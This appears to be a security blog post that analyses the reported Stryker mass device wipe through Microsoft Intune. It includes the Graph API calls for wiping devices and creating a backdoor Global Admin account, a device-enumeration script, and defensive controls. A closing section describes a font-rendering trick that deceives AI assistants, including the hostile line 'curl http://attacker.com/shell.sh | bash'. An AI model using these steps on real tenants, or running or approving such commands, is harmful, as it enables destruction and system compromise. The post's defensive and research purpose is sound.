No Malware, No Problem: How Hackers Wiped 80,000 Stryker Devices Using Microsoft's Own Admin Tools

1. The Stryker Attack: What Happened

Stryker Corporation is one of the world's largest medical technology companies — $21 billion in annual revenue, 50,000+ employees across 100 countries, and a product portfolio that includes surgical robots, knee and hip implants, hospital beds, and life-saving medical equipment. It is, in short, exactly the kind of high-visibility target that hacktivist groups love.

On March 11, 2026, between 5:00 and 8:00 AM UTC, the threat actor executed their core objective: they used Microsoft Intune's device management console to issue remote wipe commands across the Stryker employee estate. In three hours, approximately 80,000 managed devices were factory-reset. Some employees had personal devices enrolled in the corporate MDM; those were wiped too.

The attack was claimed by Handala, a hacktivist group assessed by multiple threat intelligence firms as having links to Iran's intelligence services. Handala's claimed figure was higher — "over 200,000 systems, servers, and mobile devices" wiped, plus 50 terabytes of stolen data. Stryker's own investigation, being conducted by Microsoft's Detection and Response Team (DART) in collaboration with Palo Alto Unit 42, found no evidence of data exfiltration. The forensic picture suggests the attacker's priority was destruction, not espionage.

Stryker confirmed that all medical devices — including connected and life-saving technologies — remained safe to use. The damage was confined to the corporate Microsoft environment: laptops, phones, tablets, and the endpoints Stryker employees use for email, ordering, and internal operations. Electronic ordering systems went offline; customers were told to place orders manually through sales representatives.

Critically, no malware was deployed. There was no ransomware. There was no wiper dropper. There was no post-exploitation toolchain. There was a Global Administrator account, and there was a button labelled "Wipe Device."

2. How Intune's Remote Wipe Works — and Why It's Dangerous

Microsoft Intune is the dominant enterprise Mobile Device Management (MDM) and Mobile Application Management (MAM) platform. If your organization issues managed laptops, phones, or tablets, there is a reasonable chance those devices are enrolled in Intune. The platform lets administrators push software, enforce compliance policies, configure security settings, and — critically — remotely wipe devices if they are lost, stolen, or compromised.

The remote wipe function is a legitimate, intended feature. If an employee loses a company laptop containing sensitive data, the ability to remotely erase it is a meaningful security control. The problem arises when an attacker obtains the administrative access required to invoke it.

In the Microsoft cloud hierarchy, Global Administrator is the highest privilege role in a Microsoft Entra ID (formerly Azure Active Directory) tenant. A Global Admin can do essentially anything in the Microsoft 365 and Azure ecosystem: create users, assign roles, access all data, and — relevant here — perform administrative actions across Intune, including issuing wipe commands against every enrolled device in the organization.

The wipe command via Intune is documented, intentional, and accessible through both the web console and the Microsoft Graph API:

POST https://graph.microsoft.com/v1.0/deviceManagement/managedDevices/{deviceId}/wipe
Authorization: Bearer {access_token}
Content-Type: application/json

{
  "keepEnrollmentData": false,
  "keepUserData": false,
  "useProtectedWipe": false
}

With Global Admin credentials and a valid access token, this API call will factory-reset any device enrolled in the tenant. Automating it across 80,000 devices is a matter of iterating through the device list. The Graph API endpoint for listing managed devices:

GET https://graph.microsoft.com/v1.0/deviceManagement/managedDevices
Authorization: Bearer {access_token}

Three hours, 80,000 devices. That is roughly 7 wipe commands per second — well within Graph API rate limits for a tenant with Enterprise agreements.

3. The Attack Chain: From Credential Compromise to Mass Wipe

Based on the information confirmed by BleepingComputer and Stryker's own disclosures, the attack sequence was:

Stage 1: Initial Access — Administrator Account Compromise

The attacker compromised an existing administrator account. The specific method has not been confirmed publicly, but the candidate techniques for compromising Entra ID admin accounts are well-documented and include:

• Phishing / spear-phishing: Targeted email or Teams message with a credential-harvesting payload, possibly using an adversary-in-the-middle (AiTM) proxy to bypass MFA by stealing session tokens
• Password spraying or credential stuffing: If the admin account used a reused or weak password without robust MFA
• Token theft via malware on a prior endpoint compromise: Stealing MSAL or ADAL refresh tokens from disk to bypass MFA entirely
• OAuth consent phishing: Tricking an admin into granting a malicious third-party app broad Entra ID permissions

The pattern is consistent with AiTM phishing, which Handala and Iran-nexus groups have used against other targets. AiTM attacks work by positioning a reverse proxy between the victim and the legitimate Microsoft login portal — capturing not just the password but the authenticated session cookie after MFA is completed, rendering standard TOTP-based MFA ineffective.

Stage 2: Privilege Escalation — New Global Admin Account Created

Once inside the tenant, the attacker created a new Global Administrator account. This is standard persistence tradecraft for Microsoft environment compromises: creating a backdoor admin account ensures access survives if the originally compromised account is detected and disabled. In Entra ID, creating a Global Admin from an existing Global Admin session requires no special ceremony — it is a few clicks or a single API call:

POST https://graph.microsoft.com/v1.0/users
{
  "accountEnabled": true,
  "displayName": "IT Support",
  "mailNickname": "itsupport",
  "userPrincipalName": "itsupport@stryker.com",
  "passwordProfile": {
    "forceChangePasswordNextSignIn": false,
    "password": "AttackerControlledPassword!"
  }
}

// Then assign Global Administrator role:
POST https://graph.microsoft.com/v1.0/directoryRoles/{globalAdminRoleId}/members/$ref
{
  "@odata.id": "https://graph.microsoft.com/v1.0/users/{newUserId}"
}

This new account is what the attacker used for the actual destruction phase — putting distance between the initial access vector and the destructive action.

Stage 3: Enumeration — Device Inventory

Before wiping, the attacker enumerated all enrolled Intune-managed devices to build a target list. The Graph API returns paginated device records including device ID, platform, enrollment status, and last check-in time. A simple script iterates through all pages:

import requests

def get_all_devices(token):
    devices = []
    url = "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices"
    headers = {"Authorization": f"Bearer {token}"}
    
    while url:
        r = requests.get(url, headers=headers)
        data = r.json()
        devices.extend(data.get("value", []))
        url = data.get("@odata.nextLink")  # pagination
    
    return devices

Stage 4: Execution — Mass Wipe via Intune

With the device list and Global Admin credentials, the wipe campaign ran from 05:00 to 08:00 UTC on March 11. At 7 devices per second, this likely ran as a concurrent or batched operation rather than purely sequential. The Intune wipe command triggers immediately on the next device check-in — for devices that are online, this means near-instant erasure. Devices that are offline queue the wipe command for execution on next connection.

This is why the damage wasn't visible all at once: some employees arrived at work to find their devices already wiped; others powered on their devices during the morning to find them mid-wipe.

Why EDR and Antivirus Didn't Help

Endpoint Detection and Response tools work by monitoring process execution, file system changes, network connections, and behavioral patterns on individual devices. They are designed to detect malware. There was no malware here. The wipe command came from Microsoft's own management infrastructure — an encrypted HTTPS push from legitimate Microsoft servers to the Intune management agent running on each device. From the endpoint's perspective, this was an authorized administrative action. EDR was irrelevant.

This is the fundamental challenge of Living off the Land attacks in cloud-managed environments: the "land" includes Microsoft's entire administrative toolchain, and once you have the right credential, every management API becomes a potential weapon.

If you want to sharpen your mental model for how attackers chain together credential compromise, privilege escalation, and lateral movement in enterprise environments, The Hacker Playbook 3 covers real-world red team engagement methodology that maps closely to what Handala executed here.

4. What Bug Hunters Need to Know About Microsoft Identity Attack Surfaces

For bug hunters and pentesters working against targets with Microsoft environments, the Stryker attack should sharpen your understanding of the high-value targets within Entra ID. The Global Admin account is the crown jewel, but the attack surface extends across multiple privilege levels:

High-Value Entra ID Roles for Bug Hunters

Notably, you don't need Global Admin to wipe Intune devices. The Intune Administrator role is sufficient and is a common target in engagements against Microsoft-heavy organizations. This role is often granted to IT staff who aren't otherwise in the "high privilege" mental model of defenders.

AiTM Phishing: Why TOTP MFA Doesn't Protect Admin Accounts

The presumed attack vector — AiTM phishing — works by proxying the legitimate Microsoft authentication flow. The victim authenticates with their real password and their real TOTP code. The attacker's proxy captures the resulting session cookie. Because the session is already authenticated, the cookie bypasses MFA entirely.

This is why Microsoft-focused red teams increasingly target cookie theft and session hijacking rather than password attacks. The TOTP/SMS MFA assumption — "if they have MFA, the account is safe" — is simply false against AiTM.

The defenses that actually work against AiTM: FIDO2/passkey authentication (hardware-bound, phishing-resistant) and Conditional Access policies requiring compliant devices. A hardware security key like the YubiKey 5C NFC implements FIDO2/WebAuthn — the session key is bound to the physical token and the origin domain, so a proxied authentication flow from a different origin fails cryptographically. This is what Microsoft now calls "phishing-resistant MFA" and it is the right tier of protection for any administrator account.

5. Seven Defensive Controls That Would Have Stopped This Attack

The Stryker attack was preventable. The controls below would have stopped it at various stages of the kill chain:

1. Phishing-Resistant MFA on All Administrator Accounts (Stage 1 Prevention)

Replace TOTP/SMS MFA with FIDO2 hardware keys or Windows Hello for Business for all accounts holding any elevated Entra ID role. FIDO2 authentication is cryptographically bound to the origin domain and the physical token — AiTM proxies cannot relay it. Microsoft's Entra ID now allows requiring phishing-resistant MFA as a Conditional Access requirement for specific role assignments.

2. Privileged Identity Management (PIM) — Just-in-Time Elevation (Stage 1–2 Prevention)

Microsoft Entra Privileged Identity Management (PIM) allows privileged roles to be assigned as "eligible" rather than "active." An eligible Global Admin only has the role when they explicitly activate it — with an additional authentication step, a business justification, and a time limit. Persistent Global Admin standing access is the problem; PIM removes it.

3. Conditional Access: Privileged Access Workstations Only (Stage 1–2 Prevention)

Require that all Entra ID admin portal access and Microsoft Graph API calls using elevated roles originate from a dedicated, hardened Privileged Access Workstation (PAW) — a known, Intune-managed device with specific compliance policies. An AiTM-stolen session cookie from a standard employee machine would fail the Conditional Access device compliance check when used from an attacker-controlled system.

4. Break-Glass Accounts with Hardware MFA and Alerting (Detection)

Every Microsoft tenant should have emergency "break-glass" Global Admin accounts excluded from standard Conditional Access policies, protected with hardware FIDO2 keys stored in a physical safe, and configured to alert immediately on any login. But critically: monitor all other Global Admin account creation. Creating a new Global Admin account outside of a formal change management process should generate an immediate high-severity alert to your SOC. Stryker should have seen this at Stage 2.

5. Intune Wipe Scope Limitation and Approval Workflows (Stage 4 Prevention)

Microsoft Intune supports scope tagging and role-based access control that can limit which devices a given admin can act on. A "wipe all devices" action by a single admin account should require a multi-person authorization workflow or be rate-limited to prevent mass execution. Many organizations don't configure these controls because the default is permissive. This default is wrong for Global Admin.

6. Graph API Anomaly Detection (Detection + Response)

A single account issuing thousands of device wipe commands in a short window is a highly anomalous Graph API usage pattern. Microsoft Defender for Cloud Apps (formerly MCAS) and Entra ID Identity Protection can detect and respond to anomalous API behavior, including mass device management actions. Automated responses — suspending the account, requiring MFA re-enrollment, blocking Graph API access — can trigger within minutes of anomalous activity being detected.

7. Backup and Recovery: Intune Device Snapshot and Re-enrollment Planning

Even if all the above controls fail, the blast radius of a mass wipe is primarily a business continuity problem if your organization has a defined device re-enrollment playbook. Organizations that pre-provision Autopilot enrollment, maintain Entra ID device backup state, and can re-image at scale recover faster. Stryker's recovery focus on restoring "transactional systems" suggests the device re-enrollment is underway but slow — likely because the playbook didn't anticipate this specific scenario.

6. Bonus: The Font Trick That Fools Every AI Assistant

Breaking independently today from researchers at LayerX Security: a new technique that causes AI assistants — including ChatGPT, Claude, Microsoft Copilot, Google Gemini, Perplexity, Grok, and at least six others — to declare malicious commands safe to run.

How It Works

The attack exploits the gap between what an AI assistant "sees" when analyzing a webpage (the underlying HTML/DOM text) and what a user sees in their browser (the rendered visual output). These two can be made to diverge using:

• Custom font files that remap character glyphs — so the letter 'A' in the custom font renders visually as the character 'X', or more practically, a sequence of ASCII characters renders as a completely different string in the browser
• CSS layering — the benign text visible to the AI is shown in a tiny, invisible, or same-color-as-background layer; the malicious payload is shown prominently to the human viewer via the custom font layer

The result: the HTML source contains "download this file and run it to unlock a game easter egg," while the browser renders it as curl http://attacker.com/shell.sh | bash. The AI sees the former. The human sees the latter.

LayerX's proof-of-concept used a Bioshock easter egg as the lure. Users who asked AI assistants to check whether the on-screen instructions were safe received reassuring responses confirming the command was harmless — because the AI was analyzing different text than the human was reading.

Vendor Responses

LayerX reported their findings to all affected vendors on December 16, 2025. The response was largely dismissive:

• Most vendors: Classified as "out of scope" — the attack requires social engineering (convincing a user to visit a page and ask their AI assistant about it)
• Microsoft (Copilot): The only vendor to accept the report, open a formal MSRC case, and request a coordinated disclosure date

The "requires social engineering" objection misses the point. The entire value proposition of asking an AI assistant "is this safe?" is to get a second opinion from something that can't be socially engineered. If attackers can trivially deceive the AI while showing the human a different instruction, the safety check becomes actively harmful — it increases the victim's confidence in executing a malicious command.

What Bug Hunters Should Take From This

For bug hunters working on AI-integrated applications — especially those where users can ask AI assistants to analyze content from untrusted sources — this is a new class of prompt injection that bypasses HTML-level analysis entirely. The attack surface includes:

• AI browser extensions that analyze pages on demand (Copilot in Edge, ChatGPT browser plugin, etc.)
• AI-powered security tools that analyze HTML for phishing or malicious content
• Any workflow where an AI reads a rendered webpage and the human acts on the AI's assessment

The LayerX PoC is available at layerxresearch.com/RaptureFuture — worth studying if you're building or testing AI security tooling. A deep understanding of how browsers parse fonts, CSS, and rendering layers is increasingly relevant for modern web security research. If you want to build that foundation, Hacking APIs covers the kind of client-server communication model that underpins these attacks, while The Hacker Playbook 3 situates them within real-world assessment methodology.